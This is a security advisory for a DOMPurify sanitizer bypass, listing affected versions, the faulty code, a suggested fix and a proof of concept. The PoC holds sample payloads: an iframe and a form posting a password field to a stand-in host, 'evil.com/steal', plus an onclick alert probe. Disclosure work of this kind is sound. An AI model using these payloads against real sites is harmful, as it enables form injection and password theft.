Packages / dompurify / Security

ModerateVulnerabilityGHSA-h7mw-gpvr-xq4mCVE-2026-41240Published 22 Apr 2026

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Affected releases · dompurify

  • 3.x3.0.0 – 3.3.3Fixed in 3.4.0
  • 2.x2.0.0 – 2.5.9No fix on this line yet
  • 1.x and older0.4.0 – 1.1.1No fix, no longer updated

On 3.x, the newest line:

npm install dompurify@3.4.0
3.x
  1. Affected

    3.0.0 – 3.3.3

    32 releases

  2. Fixed

    3.4.0 – 3.4.17

    18 releases, latest

2.x
  1. Affected

    2.0.0 – 2.5.9

    63 releases

1.x
  1. Affected

    1.0.0 – 1.1.1

    14 releases

0.x
  1. Affected

    0.4.0 – 0.9.0

    29 releases

156 stable releases of dompurify, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for dompurify. It is read in your browser and sent nowhere.

What happens

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef